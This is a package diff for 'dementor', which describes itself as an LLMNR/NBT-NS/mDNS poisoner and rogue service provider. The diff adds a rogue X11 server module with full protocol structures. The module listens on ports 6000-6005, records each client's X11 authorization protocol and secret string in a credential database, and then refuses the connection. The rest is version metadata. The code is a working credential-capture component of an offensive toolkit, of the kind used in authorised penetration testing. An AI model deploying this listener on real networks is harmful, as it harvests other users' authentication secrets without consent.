+ A("x11_ports", "PortRange", None),
36
+ A("x11_error_reason", "ErrorMessage", "Access denied"),
37
+ ]
38
+
39
+ def set_x11_ports(self, port_range: str | range | dict):
40
+ self.x11_ports = None
41
+ match port_range:
42
+ case range():
43
+ self.x11_ports = port_range
44
+ case dict():
45
+ self.x11_ports = range(
46
+ port_range.get("start", 6000), port_range.get("end", 6005)
47
+ )
48
+ case str():
49
+ values = port_range.split("-")
50
+ if len(values) == 2:
51
+ self.x11_ports = range(int(values[0]), int(values[1]))
52
+
53
+ if not self.x11_ports:
54
+ self.x11_ports = range(6000, 6005)
55
+
56
+
57
+ def apply_config(session):
58
+ session.x11_config = TomlConfig.build_config(X11Config)
59
+
60
+
61
+ def create_server_threads(session):
62
+ servers = []
63
+ if session.x11_enabled:
64
+ for port in session.x11_config.x11_ports:
65
+ servers.append(
66
+ ServerThread(
67
+ session,
68
+ X11Server,
69
+ server_address=(session.bind_address, port),
70
+ )
71
+ )
72
+ return servers
73
+
74
+
75
+ # --- Protocol definitions ---
76
+ # Chapter 3. Common Types
77
+ # Only necessary types are specified here - a complete list can be taken from
78
+ # the reference
79
+ BYTE = py.uint8
80
+ CARD8 = py.uint8
81
+ CARD16 = py.uint16
82
+ CARD32 = py.uint32
83
+ STRING8 = py.Bytes
84
+
85
+ # Chapter 8. Connection Setup
86
+
87
+
88
+ # [Connection Initiation]
89
+ # The value 102 (ASCII uppercase B) means values are transmitted most significant byte first,
90
+ # and value 154 (ASCII lowercase l) means values are transmitted least significant byte first.
91
+ X_CONN_LE = ord("l")
92
+ X_CONN_BE = ord("B")
93
+ X_CONN_REMOTE_LE = ord("r")
94
+ X_CONN_REMOTE_BE = ord("R")
95
+ X_AUTH_MISSING = "Authorization required, but no authorization protocol specified"
96
+
97
+
98
+ # If the number of unused bytes is variable, the encode-form typically is:
99
+ # p unused, p=pad(E)
100
+ # where E is some expression, and pad(E) is the number of bytes needed to round E up to a multiple of four.
101
+ # pad(E) = (4 - (E mod 4)) mod 4
102
+ def pad(E):
103
+ def _wrap(context):
104
+ size = E(context)
105
+ return (4 - (size % 4)) % 4
106
+
107
+ return _wrap
108
+
109
+
110
+ def xConnClient_set_length(context):
111
+ self = context._obj
112
+ self.nbytesAuthProto = len(self.authProto)
113
+ self.nbytesAuthString = len(self.authString)
114
+
115
+
116
+ @py.struct(order=py.LittleEndian)
117
+ class xConnClientPrefixLE:
118
+ byteOrder: py.Const(X_CONN_LE, CARD8)
119
+ _pad: py.padding[1]
120
+ # The version numbers indicate what version of the protocol the client expects the server to implement.
121
+ majorVersion: CARD16
122
+ minorVersion: CARD16
123
+
124
+ _aset_length: py.Action(pack=xConnClient_set_length)
125
+ nbytesAuthProto: CARD16
126
+ nbytesAuthString: CARD16
127
+ _pad2: py.padding[2]
128
+ # The authorization name indicates what authorization (and authentication) protocol the client expects
129
+ # the server to use, and the data is specific to that protocol. Specification of valid authorization
130
+ # mechanisms is not part of the core X protocol. A server that does not implement the protocol the
131
+ # client expects or that only implements the host-based mechanism may simply ignore this information.
132
+ # If both name and data strings are empty, this is to be interpreted as "no explicit authorization."
133
+ authProto: STRING8(py.this.nbytesAuthProto)
134
+ _pad3: py.padding[pad(py.this.nbytesAuthProto)]
135
+ authString: STRING8(py.this.nbytesAuthString)
136
+ _pad4: py.padding[pad(py.this.nbytesAuthString)]
137
+
138
+
139
+ @py.struct(order=py.BigEndian)
140
+ class xConnClientPrefixBE:
141
+ byteOrder: py.Const(X_CONN_BE, CARD8)
142
+ _pad: py.padding[1]
143
+ majorVersion: CARD16
144
+ minorVersion: CARD16
145
+ _aset_length: py.Action(pack=xConnClient_set_length)
146
+ nbytesAuthProto: CARD16
147
+ nbytesAuthString: CARD16
148
+ _pad2: py.padding[2]
149
+ authProto: STRING8(py.this.nbytesAuthProto)
150
+ _pad3: py.padding[pad(py.this.nbytesAuthProto)]
151
+ authString: STRING8(py.this.nbytesAuthString)
152
+ _pad4: py.padding[pad(py.this.nbytesAuthString)]
153
+
154
+
155
+ # [Server Response]
156
+ X_CONN_FAILED = 0
157
+ X_CONN_SUCCESS = 1
158
+ X_CONN_AUTHENTICATE = 2
159
+
160
+
161
+ # nformation received by the client if the connection is refused:
162
+ # 1 0 Failed
163
+ # 1 n length of reason in bytes
164
+ # 2 CARD16 protocol-major-version
165
+ # 2 CARD16 protocol-minor-version
166
+ # 2 (n+p)/4 length in 4-byte units of "additional data"
167
+ # n STRING8 reason
168
+ # p unused, p=pad(n)
169
+ def xConnSetup_set_length(context):
170
+ self = context._obj
171
+ self.lengthReason = len(self.reason)
172
+ pad = (4 - (self.lengthReason % 4)) % 4
173
+ self.length = (self.lengthReason + pad) // 4
174
+
175
+
176
+ @py.struct(order=py.LittleEndian)
177
+ class xConnSetupPrefixLE:
178
+ _aset_length: py.Action(pack=xConnSetup_set_length)
179
+
180
+ # Taken from Xproto.h#L286:
181
+ # The protocol also defines a case of success == Authenticate, but
182
+ # that doesn't seem to have ever been implemented by the X Consortium.
183
+ success: CARD8 = X_CONN_SUCCESS
184
+ lengthReason: BYTE = 0
185
+ majorVersion: CARD16
186
+ minorVersion: CARD16
187
+ length: CARD16 = 0
188
+ reason: STRING8(py.this.lengthReason)
189
+ _pad: py.padding[pad(py.this.lengthReason)] = None
190
+
191
+
192
+ @py.struct(order=py.BigEndian)
193
+ class xConnSetupPrefixBE:
194
+ _aset_length: py.Action(pack=xConnSetup_set_length)
195
+ success: CARD8 = X_CONN_SUCCESS
196
+ lengthReason: BYTE = 0
197
+ majorVersion: CARD16
198
+ minorVersion: CARD16
199
+ length: CARD16 = 0
200
+ reason: STRING8(py.this.lengthReason)
201
+ _pad: py.padding[pad(py.this.lengthReason)] = None
202
+
203
+
204
+ # -- Server and Handler ---
205
+ class X11Handler(BaseProtoHandler):
206
+ def proto_logger(self) -> ProtocolLogger:
207
+ return ProtocolLogger(
208
+ extra={
209
+ "protocol": "X11",
210
+ "protocol_color": "light_sky_blue1",
211
+ "host": self.client_host,
212
+ "port": self.server.server_address[1],
213
+ }
214
+ )
215
+
216
+ def handle_data(self, data, transport) -> None:
217
+ data = self.recv(8192)
218
+ if not data:
219
+ return
220
+
221
+ self.logger.debug(f"({chr(data[0])!r}) {data.hex()}", is_client=True)
222
+ match chr(data[0]):
223
+ case "l" | "r": # Xserver implementation uses 'r' for remote
224
+ RequestTy = xConnClientPrefixLE
225
+ ResponseTy = xConnSetupPrefixLE
226
+ endian_name = "LE"
227
+ case "B" | "R":
228
+ RequestTy = xConnClientPrefixBE
229
+ ResponseTy = xConnSetupPrefixBE
230
+ endian_name = "BE"
231
+ case _:
232
+ return self.logger.warning(
233
+ f"Unknown byteorder type in X11 request: '{data[0]:#x}'"
234
+ )
235
+
236
+ try:
237
+ request: RequestTy = py.unpack(RequestTy, data)
238
+ except Exception as e:
239
+ return self.logger.error(f"Invalid X11 request: {e}")
240
+
241
+ error_message = X_AUTH_MISSING
242
+ if request.authProto:
243
+ self.config.db.add_auth(
244
+ client=self.client_address,
245
+ credtype=request.authProto.decode(errors="replace").strip(),
246
+ username=_NO_USER,
247
+ password=request.authString.hex(),
248
+ logger=self.logger,
249
+ custom=True,
250
+ )
251
+ error_message = self.config.x11_config.x11_error_reason
252
+ else:
253
+ self.logger.display(
254
+ f"[i]Anonymous[/i] X11 request from {self.client_host} (version: "
255
+ f"{request.majorVersion}.{request.minorVersion})"
256
+ )
257
+
258
+ resp = ResponseTy(
259
+ success=X_CONN_FAILED,
260
+ reason=error_message.encode(errors="replace"),
261
+ majorVersion=request.majorVersion,
262
+ minorVersion=request.minorVersion,
263
+ )
264
+ data = py.pack(resp)
265
+ self.logger.debug(f"({endian_name}) {data.hex()}", is_server=True)
266
+ self.send(data)
267
+
268
+
269
+ class X11Server(ThreadingTCPServer):
270
+ default_port = 6000
271
+ default_handler_class = X11Handler
272
+ service_name = "X11"
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev8
3
+ Version: 1.0.0.dev10
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -29,6 +29,7 @@ dementor/protocols/__init__.py
29
29
  dementor/protocols/ftp.py
30
30
  dementor/protocols/http.py
31
31
  dementor/protocols/imap.py
32
+ dementor/protocols/ipp.py
32
33
  dementor/protocols/kerberos.py
33
34
  dementor/protocols/ldap.py
34
35
  dementor/protocols/llmnr.py
@@ -43,6 +44,7 @@ dementor/protocols/quic.py
43
44
  dementor/protocols/smb.py
44
45
  dementor/protocols/smtp.py
45
46
  dementor/protocols/spnego.py
47
+ dementor/protocols/x11.py
46
48
  dementor/protocols/msrpc/__init__.py
47
49
  dementor/protocols/msrpc/dcom.py
48
50
  dementor/protocols/msrpc/epm.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev8"
3
+ version = "1.0.0.dev10"
4
4
  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
File without changes
File without changes
File without changes